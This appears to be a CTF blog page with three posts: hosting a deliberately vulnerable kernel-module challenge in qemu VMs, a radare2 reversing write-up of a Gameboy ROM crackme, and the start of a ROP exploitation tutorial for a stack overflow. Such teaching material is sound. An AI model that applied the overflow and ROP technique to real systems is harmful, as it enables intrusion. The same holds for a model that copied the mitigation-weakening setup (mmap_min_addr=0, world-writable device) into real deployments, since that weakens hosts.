crowell’s blog

ctf, hacking, and reversing

Hosting a Local Kernel Ctf Challenge

CTF exploitable kernel infrastructure

This year, I got the opportunity to write challenges for CSAW CTF again. One of the challenges I wrote, “krackme”, was an exploitable loadable kernel module disguised as a simple crackme.

While the challenge itself may not need a blog post, I hope the the infrastructure that I used to provide vms to the teams is helpful in creating similar challenges in the future.

The problem with having kernel exploits in a ctf is that crashing a kernel can have some serious impact on the system, and allowing more than one team access to the instance is therefore not really a possibility. With userspace programs, it is cheap to just serve up a new instance or a fork of a program on each connection, and userspace exploits have always been a big part of CTF. With kernel exploits, each team needs its own vm, and the ability to reboot their vm in the case of a crash. This has restricted kernel challenges to on-site CTF mostly, and mncoppola has made a great framework for on-site kernel exploit challenges. I wanted to design my challenge to be more similar to the userspace exploit challenges that we all know and lov, so my goals were.

  • Spawn new VM on connect.
  • Give each connection a ‘fresh’ vm (eg. new copy of hard drive).

Luckilly with qemu and buildroot this is quite easy to do!

Building the VM

The first step to hosting a kernel exploit challenge is to build your vulnerable VM. I used buildroot to build my kernel with a minimal busybox userland, and a tiny 4.5mb ext2 disk. You can start by downloading the buildroot tools.

1
2
3
git clone git://git.buildroot.net/buildroot
cd buildroot
make xconfig

and you’ll be dropped to the buildroot configurator. If you’ve ever built a kernel before, this type of configuration screen may seem familiar (except gui instead of curses). Important options are Target to select the architecture you wish to build, Toolchain To specify your kernel header version, Kernel to build a kernel (if you want a custom configuration, you can check out the kernel source and make your own custom config for that, or you could just use the defconfig from buildroot), and Filesystem Images to specify what to use as a root filesystem. I picked ext2.

Imgur

Hit save, and then

1
make

This may take a while as you download the toolchain, kernel source, and build everything. Check output/images for your kernel bzImage and rootfs.ext2 filesystem. At this point you now have a minimal kernel with busybox that you can boot with qemu.This is great, but we need some more things, like the vulnerable module, and some way to launch it. By default, the username root has not password and you can login with that. Please remember to change the password!

Building the module.

If you’re like me and don’t build kernel modules all the time, you probably just steal the kernel module makefile from the first hit on Google for Kernel module makefile. This won’t work to build against your custom kernel.

I’m going to assume you have your module source that works here, and just provide the makefile. If you need help writing the module, there are better guides than I can give here. With this makefile, replace the linux version (3.2.64) that I used, with whatever version you use, krackme.ko with whatever your kernel module is called, and the /path/to/buildroot/ with your actual path to buildroot.

1
2
3
4
5
obj-m += krackme.o
all:
    make -C /path/to/buildroot/output/build/linux-3.2.64 M=$(PWD) modules
clean:
    make -C /path/to/buildroot/output/build/linux-3.2.64 M=$(PWD) clean

So now you should have a .ko ready to be inserted to your new kernel.

Setting up the vm.

This magic qemu incantation will give you access to your vm with some networking.

1
/usr/bin/qemu-system-x86_64 -kernel bzImage -hda rootfs.ext2 -boot c -m 64M -append "root=/dev/sda rw ip=10.0.2.15:10.0.2.2:10.0.2.2 console=ttyAMA0 console=ttyS0" -serial stdio  -net nic,vlan=0 -net user,vlan=0 -monitor /dev/null -nographic

The first thing to do is to log in as root and do some setup. Change the password to something random, and get the vm to the state you want.

Busybox’s init scripts run /etc/init.d/rcS, so you can add additional instructions there. Mine looks like

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh


# Start all init scripts in /etc/init.d
# executing them in numerical order.
#
for i in /etc/init.d/S??* ;do

     # Ignore dangling symlinks (if any).
     [ ! -f "$i" ] && continue

     case "$i" in
        *.sh)
            # Source shell script for speed.
            (
                trap - INT QUIT TSTP
                set start
                . $i
            )
            ;;
        *)
            # No sh extension, so fork subprocess.
            $i start
            ;;
    esac
done

/root/setup.sh

With /root/setup.sh looking like

1
2
3
4
5
6
7
#!/bin/sh
.
insmod /root/krackme.ko
mknod /dev/krackme c 250 0
chmod 666 /dev/krackme
sysctl -w vm.mmap_min_addr="0"
echo "nameserver 8.8.8.8" > /etc/resolv.conf

The nameserver setup is important for networking, and make sure to actually insmod your kernel module. You can transfer the .ko by any means, wget, mount and copy, etc.

Next add a new user, with a password you will provide to the attackers and exit. Now you should have a frozen good state vm. This launcher script can be used to give every launch a new copy of the vm from this snapshot. Thanks to acez for telling me about redirecting monitor to /dev/null to prevent players from dorpping to the qemu monitor.

1
2
3
4
5
#!/bin/bash
MYFS=$(mktemp)
cp rootfs.ext2 $MYFS
/usr/bin/qemu-system-x86_64 -kernel bzImage -hda $MYFS -boot c -m 64M -append "root=/dev/sda rw ip=10.0.2.15:10.0.2.2:10.0.2.2 console=ttyAMA0 console=ttyS0" -serial stdio  -net nic,vlan=0 -net user,vlan=0 -monitor /dev/null -nographic
rm $MYFS

So every launch from this script will now create a new copy of the hard disk, and boot from there. Users will not be able to interfere, and with the small amount of memory, the host vm should be able to host quite a few guests at once.

Launch on connect.

The last step is make the qemu vm launch when users connect to it. The simplest way is to add a new user to the host vm, and make the launch script the login shell. Give the players login access to the host vm with the provided username/password and the credentials to the user account on the guest vm.

So essentially what needs to be done is

1
2
3
4
5
6
7
8
9
adduser myuser
# follow the prompts
su myuser
cd /home/myuser
cp /path/to/bzImage .
cp /path/to/rootfs.ext2 .
cp /path/to/launcher/script.sh . # script.sh is the launcher script mentioned in the previous section
# add /home/myuser/script.sh to /etc/shells
chsh -s /home/myuser/script.sh myuser

and then login with the myuser user will spawn the qemu vm!

Other notes.

See the PPP suggestions for running a ctf here for other tips for a local kernel challenge. While what I’ve posted here will help you set up the infrastructure, it won’t guarantee a good challenge, so following the advice there is an important step! Most importantly, be creative in your challenge, generic challenges are also boring to solve!

Let me know if you have any questions!

1
crowell@shellphish.net

At Gunpoint Hacklu 2014 With Radare2

“At Gunpoint” was a 200 point Reversing challenge in Hack.lu ctf 2014. The description is as follows

1
2
3
4
You 're the sheriff of a small town, investigating news about a gangster squad
passing by. Rumor has it they' re easy to outsmart, so you have just followed
one to their encampment by the river.You know you can easily take them out one
by one, if you would just know their secret handshake..

Let’s see what we are working with.

1
2
minishwoods hacklu/gunpoint » file gunpoint_2daf5fe3fb236b398ff9e5705a058a7f.dat
gunpoint_2daf5fe3fb236b398ff9e5705a058a7f.dat: Gameboy ROM: "FLUX", [ROM ONLY], ROM: 256Kbit

So it is a Gameboy ROM. I load it up in VisualBoyAdvance and see what the game is.

running_game_1.png

It is a static image, and after some time, we receive this text.

running_game_2.png

Looks like we will have to put in some inputs from the joypad to get the flag. It is a crackme style but for the Gameboy! Sounds fun.

First thing to do is to find out how the Gameboy interprets button presses.

According to this document here http://www.semis.demon.co.uk/Gameboy/Gbspec.txt The joypad is memory mapped to 0xFF00. So now that we have some sort of idea of what we are looking for, let’s load up the ROM in radare2!

First, let’s run the auto analysis and see what r2 can give us for functions. We run aa to analyze the binary, then afl to list the functions.

1
2
3
4
5
6
7
minishwoods hacklu/gunpoint » radare2 ./gunpoint_2daf5fe3fb236b398ff9e5705a058a7f.dat
 -- Fuck you, fuck you in the mouth, with a chair!
 [0x00000100]> aa
 [0x00000100]> afl
 0x00000100  35  1  entry0
 0x00000150  133  8  main
 0x00000123  178  8  fcn.00000123

Hm… not so great, just 3 functions. (note, since after the ctf ended, the latest git of r2 is much better at detecting Gameboy functions!)

Let’s try to find usage of the joypad. Really what we are looking for is a load or store from 0xFF00, but I am lazy, and the ROM is small, so we can just disassembly everything and grep for it!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x00000100]> s 0; pd 10000 | grep ff00
Do you want to print 566.8K chars? (y/N)
|           0x00000193    e2           ld [0xff00 + c], a
            0x00000c84    f000         ld a, [0xff00]
|           0x00001e63    e000         ld [0xff00], a
|           0x00001e65    f000         ld a, [0xff00]
|           0x00001e67    f000         ld a, [0xff00]
|           0x00001e71    e000         ld [0xff00], a
|           0x00001e73    f000         ld a, [0xff00]
|           0x00001e75    f000         ld a, [0xff00]
|           0x00001e77    f000         ld a, [0xff00]
|           0x00001e79    f000         ld a, [0xff00]
|           0x00001e7b    f000         ld a, [0xff00]
|           0x00001e7d    f000         ld a, [0xff00]
|           0x00001e88    e000         ld [0xff00], a
            0x00002307    e2           ld [0xff00 + c], a
            0x00002317    f2           ld a, [0xff00 + c]
            0x0000233f    f2           ld a, [0xff00 + c]
            0x00002342    f2           ld a, [0xff00 + c]
            0x00002717    f2           ld a, [0xff00 + c]

Perfect, not many uses, and it looks like there are a few small groups that are touching 0xFF00, so probably just a few functions that interact with the joypad.

So, seek to 0x1e63 (s 0x1e63), then open up visual mode with V. Scroll up a bit to see that at 0x1e5f is a ret, then 0x1e60 is push bc. The push instruction looks to be the start of a function that interacts with the joypad quite a bit. So we can define this as a function from visual mode with df. (If you have a newer version of r2, this is probably already done for you).

Checking back at the Gameboy document, The function looks very similar, in fact, it nearly identical to the joypad reader from Ms. PacMan.

Code from Ms. PacMan is here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
   Example code:

      Game: Ms. Pacman
      Address: $3b1

    LD A,$20       <- bit 5 = $20
    LD ($FF00),A   <- select P14 by setting it low
    LD A,($FF00)
    LD A,($FF00)   <- wait a few cycles
    CPL            <- complement A
    AND $0F        <- get only first 4 bits
    SWAP A         <- swap it
    LD B,A         <- store A in B
    LD A,$10
    LD ($FF00),A   <- select P15 by setting it low
    LD A,($FF00)
    LD A,($FF00)
    LD A,($FF00)
    LD A,($FF00)
    LD A,($FF00)
    LD A,($FF00)   <- Wait a few MORE cycles
    CPL            <- complement (invert)
    AND $0F        <- get first 4 bits
    OR B           <- put A and B together

    LD B,A         <- store A in D
    LD A,($FF8B)   <- read old joy data from ram
    XOR B          <- toggle w/current button bit
    AND B          <- get current button bit back
    LD ($FF8C),A   <- save in new Joydata storage
    LD A,B         <- put original value in A
    LD ($FF8B),A   <- store it as old joy data


    LD A,$30       <- deselect P14 and P15
    LD ($FF00),A   <- RESET Joypad
    RET            <- Return from Subroutine

      The button values using the above method are such:
      $80 - Start             $8 - Down
      $40 - Select            $4 - Up
      $20 - B                 $2 - Left
      $10 - A                 $1 - Right

      Let's say we held down A, Start, and Up.
      The value returned in accumulator A would be $94jkj

And the code we have here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/ (fcn) fcn.00001e60 45
|          0x00001e60    c5           push bc
|          0x00001e61    3e20         ld a, 0x20
|          ;  JOYPAD
|          0x00001e63    e000         ld [0xff00], a
|          ;  JOYPAD
|          0x00001e65    f000         ld a, [0xff00]
|          ;  JOYPAD
|          0x00001e67    f000         ld a, [0xff00]
|          0x00001e69    2f           cpl
|          0x00001e6a    e60f         and 0x0f
|          0x00001e6c    cb37         swap a
|          0x00001e6e    47           ld b, a
|          0x00001e6f    3e10         ld a, 0x10
|          ;  JOYPAD
|          0x00001e71    e000         ld [0xff00], a
|          ;  JOYPAD
|          0x00001e73    f000         ld a, [0xff00]
|          ;  JOYPAD
|          0x00001e75    f000         ld a, [0xff00]
|          ;  JOYPAD
|          0x00001e77    f000         ld a, [0xff00]
|          ;  JOYPAD
|          0x00001e79    f000         ld a, [0xff00]
|          ;  JOYPAD
|          0x00001e7b    f000         ld a, [0xff00]
|          ;  JOYPAD
|          0x00001e7d    f000         ld a, [0xff00]
|          0x00001e7f    2f           cpl
|          0x00001e80    e60f         and 0x0f
|          0x00001e82    b0           or b
|          0x00001e83    cb37         swap a
|          0x00001e85    47           ld b, a
|          0x00001e86    3e30         ld a, 0x30
|          ;  JOYPAD
|          0x00001e88    e000         ld [0xff00], a
|          0x00001e8a    78           ld a, b
|          0x00001e8b    c1           pop bc
\          0x00001e8c    c9           ret

Looks really similar, doesn’t it? ;) So we can see here, that value of the joypad is now stored in register A from 0x1e8a. Seek to the beginning of the function and define the function with a name like read_joypad with dr in visual mode.

So, now that we know what reads the joypad, we can find the xrefs to find out the checking routine. From visual mode, at the top of read_joypad, hit x to see the xrefs.

1
2
3
4
[GOTO XREF]> 65 ./gunpoint_2daf5fe3fb236b398ff9e5705a058a7f.dat]> pd $r @ read_joypad
[0] 0x00001e60 CODE (CALL) XREF 0x00001e54 (fcn.00001e50)
[1] 0x00001e60 CODE (CALL) XREF 0x00001e8d (fcn.00001e8d)
[2] 0x00001e60 CODE (CALL) XREF 0x00001e94 (fcn.00001e94)

We see 3 cross references, which means we have 3 other functions calling the read_joypad function.

Looking at xref2, we see that the joypad is read, and then the value is also stored into register e

1
2
3
4
5
/ (fcn) load_joypad_to_e 5
|          0x00001e94    cd601e       call read_joypad ;[1]
|             read_joypad(0x0, 0x0, 0x0)
|          0x00001e97    5f           ld e, a
\          0x00001e98    c9           ret

Essentially, in pseudocode

1
2
a = read_joypad();
e = a;

For some time I was stuck here, as it didn’t seem that the load_joypad_to_e was called anywhere, r2 did not find any calls, but we can use the same trick we used to find the references to the memory mapped io of the joypad to find references to the load_joypad_to_e.

1
2
3
4
5
[0x00001e94]> s 0; pd 10000 | grep load_joypad
Do you want to print 566.8K chars? (y/N)
  --------> 0x00000d6f    cd941e       call load_joypad_to_e
          >    load_joypad_to_e()
  / (fcn) load_joypad_to_e 5

Looks like it is referenced just once, so seek to 0xd6f and open visual mode. Looks to be the beginning of a big block of code, define as a function and start reversing. I defined it as checker_loop once I realized that this is the main crackme part.

It looks like the auto analysis fails to detect the proper end of the function. This is fine, because we can tell r2 exactly how long the function is ourselves.

Looking at the code, the last instruction of the function is the ret at 0xf01, so, by starting at 0xd6f the function should be 403 bytes. Just define the function like this

[0x00000e5f]> af+ 0xd6f 403 checker_loop

Now we can disassemble the entire function with pdf @ checker_loop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
/ (fcn) checker_loop 403
|           0x00000d6f    cd941e       call load_joypad_to_e
|              load_joypad_to_e()
|           0x00000d72    21a2c0       ld hl, 0xc0a2
|           0x00000d75    73           ld [hl], e
|           0x00000d76    21a1c0       ld hl, 0xc0a1
|           0x00000d79    7e           ld a, [hl]
|           0x00000d7a    21a2c0       ld hl, 0xc0a2
|           0x00000d7d    be           cp [hl]
|       ,=< 0x00000d7e    2003         jr nZ, 0x03
|      ,==< 0x00000d80    c3f60e       jp loc.00000ef6
|      |`-> 0x00000d83    21a0c0       ld hl, 0xc0a0
|      |    0x00000d86    7e           ld a, [hl]
|      |    0x00000d87    fe0d         cp 0x0d
|     ,===< 0x00000d89    c2990d       jp nZ, 0x0d99
|    ,====< 0x00000d8c    1803         jr 0x03 ; (checker_loop)
|   ,=====< 0x00000d8e    c3990d       jp 0x0d99 ; (checker_loop)
|   |`----> 0x00000d91    21a0c0       ld hl, 0xc0a0
|   | ||    0x00000d94    3600         ld [hl], 0x00
|  ,======< 0x00000d96    c38a0e       jp loc.00000e8a
|  |`-`---> 0x00000d99    21a2c0       ld hl, 0xc0a2
|  |   |    0x00000d9c    7e           ld a, [hl]
|  |   |    0x00000d9d    e604         and 0x04
| ,=======< 0x00000d9f    2003         jr nZ, 0x03
| ========< 0x00000da1    c3c90d       jp loc.00000dc9
| `-------> 0x00000da4    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000da7    7e           ld a, [hl]
|  |   |    0x00000da8    b7           or a
| ========< 0x00000da9    caba0d       jp Z, 0x0dba
|  |   |    0x00000dac    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000daf    7e           ld a, [hl]
|  |   |    0x00000db0    fe04         cp 0x04
| ========< 0x00000db2    c2c10d       jp nZ, 0x0dc1
| ========< 0x00000db5    1803         jr 0x03 ; (checker_loop)
| ========< 0x00000db7    c3c10d       jp 0x0dc1 ; (checker_loop)
| --------> 0x00000dba    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000dbd    34           inc [hl]
| ========< 0x00000dbe    c38a0e       jp loc.00000e8a
| --------> 0x00000dc1    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000dc4    3600         ld [hl], 0x00
| ========< 0x00000dc6    c38a0e       jp loc.00000e8a
|- loc.00000dc9 49
| --------> 0x00000dc9    21a2c0       ld hl, 0xc0a2
|  |   |    0x00000dcc    7e           ld a, [hl]
|  |   |    0x00000dcd    e601         and 0x01
| ========< 0x00000dcf    2003         jr nZ, 0x03
| ========< 0x00000dd1    c3fa0d       jp loc.00000dfa
| --------> 0x00000dd4    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000dd7    7e           ld a, [hl]
|  |   |    0x00000dd8    fe01         cp 0x01
| ========< 0x00000dda    caeb0d       jp Z, 0x0deb
|  |   |    0x00000ddd    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000de0    7e           ld a, [hl]
|  |   |    0x00000de1    fe05         cp 0x05
| ========< 0x00000de3    c2f20d       jp nZ, 0x0df2
| ========< 0x00000de6    1803         jr 0x03 ; (loc.00000dc9)
| ========< 0x00000de8    c3f20d       jp 0x0df2 ; (loc.00000dc9)
| --------> 0x00000deb    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000dee    34           inc [hl]
| ========< 0x00000def    c38a0e       jp loc.00000e8a
| --------> 0x00000df2    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000df5    3600         ld [hl], 0x00
\ ========< 0x00000df7    c38a0e       jp loc.00000e8a
|- loc.00000dfa 49
| --------> 0x00000dfa    21a2c0       ld hl, 0xc0a2
|  |   |    0x00000dfd    7e           ld a, [hl]
|  |   |    0x00000dfe    e608         and 0x08
| ========< 0x00000e00    2003         jr nZ, 0x03
| ========< 0x00000e02    c32b0e       jp loc.00000e2b
| --------> 0x00000e05    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e08    7e           ld a, [hl]
|  |   |    0x00000e09    fe02         cp 0x02
| ========< 0x00000e0b    ca1c0e       jp Z, 0x0e1c
|  |   |    0x00000e0e    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e11    7e           ld a, [hl]
|  |   |    0x00000e12    fe06         cp 0x06
| ========< 0x00000e14    c2230e       jp nZ, 0x0e23
| ========< 0x00000e17    1803         jr 0x03 ; (loc.00000dfa)
| ========< 0x00000e19    c3230e       jp 0x0e23 ; (loc.00000dfa)
| --------> 0x00000e1c    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e1f    34           inc [hl]
| ========< 0x00000e20    c38a0e       jp loc.00000e8a
| --------> 0x00000e23    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e26    3600         ld [hl], 0x00
\ ========< 0x00000e28    c38a0e       jp loc.00000e8a
|- loc.00000e2b 49
| --------> 0x00000e2b    21a2c0       ld hl, 0xc0a2
|  |   |    0x00000e2e    7e           ld a, [hl]
|  |   |    0x00000e2f    e602         and 0x02
| ========< 0x00000e31    2003         jr nZ, 0x03
| ========< 0x00000e33    c35c0e       jp loc.00000e5c
| --------> 0x00000e36    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e39    7e           ld a, [hl]
|  |   |    0x00000e3a    fe03         cp 0x03
| ========< 0x00000e3c    ca4d0e       jp Z, 0x0e4d
|  |   |    0x00000e3f    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e42    7e           ld a, [hl]
|  |   |    0x00000e43    fe07         cp 0x07
| ========< 0x00000e45    c2540e       jp nZ, 0x0e54
| ========< 0x00000e48    1803         jr 0x03 ; (loc.00000e2b)
| ========< 0x00000e4a    c3540e       jp 0x0e54 ; (loc.00000e2b)
| --------> 0x00000e4d    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e50    34           inc [hl]
| ========< 0x00000e51    c38a0e       jp loc.00000e8a
| --------> 0x00000e54    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e57    3600         ld [hl], 0x00
\ ========< 0x00000e59    c38a0e       jp loc.00000e8a
|- loc.00000e5c 95
| --------> 0x00000e5c    21a2c0       ld hl, 0xc0a2
|  |   |    0x00000e5f    7e           ld a, [hl]
|  |   |    0x00000e60    e610         and 0x10
| ========< 0x00000e62    2003         jr nZ, 0x03
| ========< 0x00000e64    c38a0e       jp loc.00000e8a
| --------> 0x00000e67    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e6a    7e           ld a, [hl]
|  |   |    0x00000e6b    fe0a         cp 0x0a
| ========< 0x00000e6d    ca7e0e       jp Z, 0x0e7e
|  |   |    0x00000e70    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e73    7e           ld a, [hl]
|  |   |    0x00000e74    fe0b         cp 0x0b
| ========< 0x00000e76    c2850e       jp nZ, 0x0e85
| ========< 0x00000e79    1803         jr 0x03 ; (loc.00000e5c)
| ========< 0x00000e7b    c3850e       jp 0x0e85 ; (loc.00000e5c)
| --------> 0x00000e7e    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e81    34           inc [hl]
| ========< 0x00000e82    c38a0e       jp loc.00000e8a
| --------> 0x00000e85    21a0c0       ld hl, 0xc0a0
|  |   |    0x00000e88    3600         ld [hl], 0x00
|  |        ; XREFS: JMP 0x00000dbe  JMP 0x00000dc6  JMP 0x00000def
|  |        ; XREFS: JMP 0x00000df7  JMP 0x00000e20  JMP 0x00000e28
|  |        ; XREFS: JMP 0x00000e51  JMP 0x00000e59  JMP 0x00000e82
|  |        ; XREFS: JMP 0x00000e64
|- loc.00000e8a 49
| -`------> 0x00000e8a    21a2c0       ld hl, 0xc0a2
|      |    0x00000e8d    7e           ld a, [hl]
|      |    0x00000e8e    e620         and 0x20
| ========< 0x00000e90    2003         jr nZ, 0x03
| ========< 0x00000e92    c3bb0e       jp loc.00000ebb
| --------> 0x00000e95    21a0c0       ld hl, 0xc0a0
|      |    0x00000e98    7e           ld a, [hl]
|      |    0x00000e99    fe08         cp 0x08
| ========< 0x00000e9b    caac0e       jp Z, 0x0eac
|      |    0x00000e9e    21a0c0       ld hl, 0xc0a0
|      |    0x00000ea1    7e           ld a, [hl]
|      |    0x00000ea2    fe09         cp 0x09
| ========< 0x00000ea4    c2b30e       jp nZ, 0x0eb3
| ========< 0x00000ea7    1803         jr 0x03 ; (loc.00000e8a)
| ========< 0x00000ea9    c3b30e       jp 0x0eb3 ; (loc.00000e8a)
| --------> 0x00000eac    21a0c0       ld hl, 0xc0a0
|      |    0x00000eaf    34           inc [hl]
| ========< 0x00000eb0    c3f60e       jp loc.00000ef6
| --------> 0x00000eb3    21a0c0       ld hl, 0xc0a0
|      |    0x00000eb6    3600         ld [hl], 0x00
\ ========< 0x00000eb8    c3f60e       jp loc.00000ef6
|- loc.00000ebb 43
| --------> 0x00000ebb    21a2c0       ld hl, 0xc0a2
|      |    0x00000ebe    7e           ld a, [hl]
|      |    0x00000ebf    e680         and 0x80
| ========< 0x00000ec1    2003         jr nZ, 0x03
| ========< 0x00000ec3    c3e60e       jp loc.00000ee6
| --------> 0x00000ec6    21a0c0       ld hl, 0xc0a0
|      |    0x00000ec9    7e           ld a, [hl]
|      |    0x00000eca    fe0c         cp 0x0c
| ========< 0x00000ecc    c2de0e       jp nZ, 0x0ede
| ========< 0x00000ecf    1803         jr 0x03 ; (loc.00000ebb)
| ========< 0x00000ed1    c3de0e       jp 0x0ede ; (loc.00000ebb)
| --------> 0x00000ed4    cd0002       call 0x0200
|         >    0x00000200() ; main+176
|      |    0x00000ed7    21a0c0       ld hl, 0xc0a0
|      |    0x00000eda    34           inc [hl]
| ========< 0x00000edb    c3f60e       jp loc.00000ef6
| --------> 0x00000ede    21a0c0       ld hl, 0xc0a0
|      |    0x00000ee1    3600         ld [hl], 0x00
\ ========< 0x00000ee3    c3f60e       jp loc.00000ef6
|- loc.00000ee6 27
| --------> 0x00000ee6    21a2c0       ld hl, 0xc0a2
|      |    0x00000ee9    7e           ld a, [hl]
|      |    0x00000eea    e640         and 0x40
| ========< 0x00000eec    2003         jr nZ, 0x03
| ========< 0x00000eee    c3f60e       jp loc.00000ef6
| --------> 0x00000ef1    21a0c0       ld hl, 0xc0a0
|      |    0x00000ef4    3600         ld [hl], 0x00
|- loc.00000ef6 11
| -----`--> 0x00000ef6    21a2c0       ld hl, 0xc0a2
|           0x00000ef9    7e           ld a, [hl]
|           0x00000efa    21a1c0       ld hl, 0xc0a1
|           0x00000efd    77           ld [hl], a
\           0x00000efe    c36f0d       jp checker_loop
\           0x00000f01    c9           ret

Yikes! This is a long function. With r2 we have a lot of tools at our disposal though, and we can use the graph view to get a better high-level understanding of the code.

We can load up a graph visualization with either VV for an ascii view, or a graphviz view with ag. I like to use the graphviz output with xdot.

[0x00000d6f]> ag $$ | xdot

And we get a nice graph like this. I have some annotations on mine, from reversing the function myself. This is helpful for looking at the overall way the function works. It seems to have a cascading check, like

if(){}else if{}else if{}else{}

type structure, which makes sense for value and index checking.

biggraph.png

So, after some analysis, and guessing, we can figure the following. There is some debouncing/not expected to be perfect for clock cycles for button presses, so there must be tolerance for 0xFF00 to be the same for multiple cycles, or to be 0 with no penalty.

This means that the previous value must be stored somewhere, and that checks for empty press is somewhere too. From looking at the assembly, and the graph, I can piece together this as pseudocode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
void main_checker() {
  byte reg_E;
  byte reg_A;
  byte* curr_press = 0xc0a2;
  byte* prev_press = 0xc0a1;
  byte* num_correct = 0xc0a0;
begin:
  reg_E = load_joypad_to_e();
  *curr_press = reg_E;
  reg_A = *prev_press;
  if (*curr_press == *prev_press) {
    goto begin;
  }
  if (*curr_press == 0x00) {
    goto begin;
  }
  do {
    if (*curr_press == 0x01) {
      if (*num_correct == 1 || *num_correct == 5) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else if (*curr_press == 0x02) {
      if (*num_correct == 3 || num_correct == 7) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else if (*curr_press == 0x04) {
      if (*num_correct == 0 || *num_correct == 4) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else if (*curr_press == 0x08) {
      if (*num_correct == 2 || *num_correct == 6) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else if (*curr_press == 0x10) {
      if (*num_correct == 10 || *num_correct == 11) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else if (*curr_press == 0x20) {
      if (*num_correct == 8 || *num_correct == 9) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else if (*curr_press == 0x80) {
      if (*num_correct == 12) {
        *num_correct++;
      } else {
        *num_correct = 0;
      }
    } else {
      *num_correct = 0;
    }
  *prev_press = *curr_press;
  } while (*num_correct != 0x0D);
  winner();
}

The only thing left to do is to cross reference the button presses with their values, and extract the order from that code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
4 - up
1 - right
8 - down
2 - left
4 - up
1 - right
8 - down
2 - left
20 - B
20 - B
10 - A
10 - A
80 - Start
---------values-----------------
$80 - Start             $8 - Down
$40 - Select            $4 - Up
$20 - B                 $2 - Left
$10 - A                 $1 - Right

Plug it in to VisualBoyAdvance and grab our 200 points!

win.png

Thanks to FluxFingers for a great CTF!

Comments? Questions? crowell@shellphish.net

Pwning With Radare2

radare2 is a very cool set of tools that you probably don’t know how to use! Let’s go through a simple exploit CTF challenge to understand how to use it for exploit development.

We’ll be focusing on “ropasaurus rex” which is a simple challenge from Plaid CTF After checking out the latest and greatest radare from git, let’s get started!

Open up ropasaurusrex in r2 and call analyze on the binary. We can list the functions with “afl”

Imgur

First thing to do, let’s see how the binary looks. To disassemble, r2 uses the pd directive. So let’s disassemble the main function with pdf @ main

Imgur

Ok so main is a very simple function. We can “decompile” it by hand.

1
2
3
4
int main() {
  fcn.0x80483f4();
  sym.imp.write(stdout, str.WIN_n, 4);  // write is fd, string, len
}

We can print the string to see what is being printed.

Imgur

Ok, so time to see what happens in 0x80483f4

Imgur

Great, this function is also very simple. Let’s reverse it!

1
2
3
4
sub_0x80483f4() {
  char buffer[0x88];
  sym.imp.read(stdin, buffer, 0x100);
}

So we see that 0x100 (256) bytes are read in. “buffer” is on the stack size 0x88. This is size 136. We read in 256 bytes on the stack buffer which is only size 136. Great, we found the vulnerability, but don’t stop now, Let’s get a shell, radare2 has some more tools that can help us with that.

Let’s check what protections are on the binary. We know our machine runs with ASLR (and if your’s doesn’t why not!?!?)

I like to use the tool “checksec.sh” from trapkit.de

Imgur

Looks like nx is enabled. So, we’re going to need to rop! First thing to do, is find out how big our buffer is so that we can take control of EIP.

ragg2 + radare2 can be used with De Bruijn patterns to find the offset. We use ragg2 to generate the pattern, and r2 to find how far into the pattern before the return address on the stack is overwritten.

Imgur

Ok, great, so the exploit can be [140 bytes of padding|start of rop chain]

Because we have both read and write libc functions, we can create a rop chain that will do the following.

  • Leak libc address of write
    • Compute offset of system with the provided libc (I’m using mine here on ubuntu)
  • Write our command to somewhere.
  • Return to vulnerable function, now we know the location of system
  • Call system with our written string.

So first, we should find the locations of read and write in the PLT

Imgur

1
2
3
4
[0xf77db0d0]> afl |grep read
0x0804832c  6  1  sym.imp.read
[0xf77db0d0]> afl |grep write
0x0804830c  6  1  sym.imp.write

ok, so we can call either of those there.

As for the GOT, we can find it like so

Imgur

